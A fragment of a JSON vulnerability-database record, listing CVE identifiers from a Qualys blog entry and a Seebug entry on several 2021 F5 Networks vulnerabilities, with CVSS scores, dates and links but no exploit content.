"NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-11510", "CVE-2020-0601", "CVE-2020-1350", "CVE-2020-1472", "CVE-2020-8243", "CVE-2020-8260", "CVE-2021-1497", "CVE-2021-1498", "CVE-2021-1647", "CVE-2021-1675", "CVE-2021-1732", "CVE-2021-1782", "CVE-2021-1870", "CVE-2021-1871", "CVE-2021-1879", "CVE-2021-1905", "CVE-2021-1906", "CVE-2021-20016", "CVE-2021-21017", "CVE-2021-21148", "CVE-2021-21166", "CVE-2021-21193", "CVE-2021-21206", "CVE-2021-21220", "CVE-2021-21224", "CVE-2021-21972", "CVE-2021-21985", "CVE-2021-22005", "CVE-2021-22205", "CVE-2021-22502", "CVE-2021-22893", "CVE-2021-22894", "CVE-2021-22899", "CVE-2021-22900", "CVE-2021-22986", "CVE-2021-26084", "CVE-2021-26411", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27059", "CVE-2021-27065", "CVE-2021-27085", "CVE-2021-27101", "CVE-2021-27102", "CVE-2021-27103", "CVE-2021-27104", "CVE-2021-28310", "CVE-2021-28550", "CVE-2021-28663", "CVE-2021-28664", "CVE-2021-30116", "CVE-2021-30551", "CVE-2021-30554", "CVE-2021-30563", "CVE-2021-30632", "CVE-2021-30633", "CVE-2021-30657", "CVE-2021-30661", "CVE-2021-30663", "CVE-2021-30665", "CVE-2021-30666", "CVE-2021-30713", "CVE-2021-30761", "CVE-2021-30762", "CVE-2021-30807", "CVE-2021-30858", "CVE-2021-30860", "CVE-2021-30869", "CVE-2021-31199", "CVE-2021-31201", "CVE-2021-31207", "CVE-2021-31955", "CVE-2021-31956", "CVE-2021-31979", "CVE-2021-33739", "CVE-2021-33742", "CVE-2021-33771", "CVE-2021-34448", "CVE-2021-34473", "CVE-2021-34523", "CVE-2021-34527", "CVE-2021-35211", "CVE-2021-36741", "CVE-2021-36742", "CVE-2021-36942", "CVE-2021-36948", "CVE-2021-36955", "CVE-2021-37973", "CVE-2021-37975", "CVE-2021-37976", "CVE-2021-38000", "CVE-2021-38003", "CVE-2021-38645", "CVE-2021-38647", "CVE-2021-38648", "CVE-2021-38649", "CVE-2021-40444", "CVE-2021-40539", "CVE-2021-41773", "CVE-2021-42013", "CVE-2021-42258"], "modified": "2021-11-09T06:15:01", "id": "QUALYSBLOG:BC22CE22A3E70823D5F0E944CBD5CE4A", "href": "https://blog.qualys.com/category/vulnerabilities-threat-research", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "seebug": [{"lastseen": "2021-07-24T16:14:43", "description": "", "cvss3": {}, "published": "2021-03-12T00:00:00", "type": "seebug", "title": "F5 Networks \u591a\u4e2a\u6f0f\u6d1e\uff08CVE-2021-22986\u3001CVE-2021-22987\u3001CVE-2021-22988\u3001CVE-2021-22989\u3001CVE-2021-22990\u3001CVE-2021-22991\u3001CVE-2021-22992\uff09", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2021-22986", "CVE-2021-22987", "CVE-2021-22988", "CVE-2021-22989", "CVE-2021-22990", "CVE-2021-22991", "CVE-2021-22992"], "modified": "2021-03-12T00:00:00", "id": "SSV:99156", "href": "https://www.seebug.org/vuldb/ssvid-99156", "sourceData": "", "sourceHref": "", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}]}